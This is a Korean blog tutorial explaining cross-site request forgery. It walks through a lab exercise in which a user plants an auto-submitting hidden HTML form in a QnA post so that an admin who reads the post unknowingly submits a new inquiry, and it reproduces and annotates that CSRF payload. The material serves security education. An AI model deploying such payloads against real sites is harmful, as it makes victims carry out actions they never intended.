안녕들 하시죠 !
오늘은 크로스사이트 리퀘스트 변조에 대해 알아보겠습니다.
크로스사이트 리퀘스트 변조 ( CSRF ) 란?
ㆍ 희생자가 자신의 의지와는 무관하게 공격자가 의도한 행위를 웹 사이트에 요청하도록 만드는 공격.
ㆍ 조작된 Request를 웹 어플리케이션에 전송하는 공격.
ㆍ CSRF가 적용되려면 수정/삭제하는 액션에서 사용자를 구분하는 파라미터 값이 존재하지 않아야 함.
크로스사이트 리퀘스트 변조의 원인과 결과
ㆍ 사용자 입력 값에 대한 적절한 필터링 및 인증에 대한 유효성 검증이 미흡하기 때문에 발생.
ㆍ 서버 내의 파일 변경 및 서버 다운 등의 위험 존재.
CSRF와 XSS의 차이
ㆍ CSRF는 인증된 사용자가 정상적인 Request를 보내 서버에서 실행되는 반면.
ㆍ XSS는 공격자가 작성한 악성 스크립트가 이용자( 클라이언트 )에서 실행.
실습절차
- 일반 사용자 계정으로 CSRF 스크립트가 삽입된 관리자 유도 글 작성
ㆍ 관리자가 해당 글을 읽도록 적절한 제목을 통해 유도.
ㆍ 게시글 등록 시 프록시 툴을 사용하여 request 메시지 확인.
ㆍ 관리자가 해당 글을 읽으면 새로운 문의 글이 자동으로 등록되는 내용의 CSRF 스크립트 포함.
ㆍ master 계정으로 로그인 하고 해당 글을 클릭하여 공격이 정상적으로 실행되는지 확인.
자, 이제 실습을 해볼텐데요 각자 본인 환경에 맞춰서 진행하시면 될 것 같습니다.
저는 제 실습환경에서 사용자로 로그인을 해보겠습니다.
로그인 후에 QnA게시판으로 이동하겠습니다.
일반적인 글을 올려보고, 프록시 툴을 이용하여 request 메시지를 확인해보겠습니다.
raw 데이터를 좀더 확대해봤습니다.
위에서부터 확인해보자면,
name="board_id" 는 게시판이름
name="member_seq" 는 회원 고유번호
name="category" 는 질문 유형
name="title" 는 제목
name="contents" 는 문의내용
name="upload_image";filename="" 는 파일선택하여 업로드하는 부분이라는 것을 확인했습니다.
그럼 이제 문의내용에 CSRF 스크립트를 삽입해 보려고 하는데요, 그전에 의미를 알고가겠습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 | <body onload="document.form.submit();"> <!-- 페이지 로딩이 끝나면 스크립트를 시작 --> <!-- POST 방식으로 QnA 게시판에 글 등록 --> <form METHOD="POST" action="http://dev.1shop.com/board/qna/try-add" name="form" enctype="multipart/form-data"> <!-- 숨겨진 입력 필드 정의 --> <input type=hidden name="board_id" value="qna"> <!-- 등록 위치: QnA 게시판 --> <input type=hidden name="member_seq" value="1"> <!-- 작성자 : 회원 고유번호가 1인 값을 가지는 사용자 --> <input type=hidden name="category" value="기타 문의"> <!-- 질문 유형 : 기타 문의 --> <input type=hidden name="title" value="CSRF 성공"> <!-- 제목 : CSRF 성공 --> <input type=hidden name="contents" value="CSRF 성공 !!!"> <!-- 문의 내용 : CSRF 성공 !!! --> </form> | cs |
자, 이제 관리자로 로그인하여 문의글을 클릭해보겠습니다.
문의내용에 아까 작성한 스크립트는 나오지 않네요.
하지만 QnA내용을 보면 아래와같이 성공적으로 CSRF 성공 메시지가 뜹니다.
오늘은 여기까지입니다 감사합니다 !
'보안 > Web hacking' 카테고리의 다른 글
사이트 방문만으로 악성코드 침투 실습 (1) | 2018.11.13 |
---|---|
CVE-2016-0189 취약점을 이용한 Drive by download 실습 (2) | 2018.11.12 |
파일 업로드 취약점 (0) | 2018.11.08 |
Lord of SQL Injection 3번 풀이 (0) | 2018.11.07 |
Lord of SQL Injection 2번 풀이 (0) | 2018.11.07 |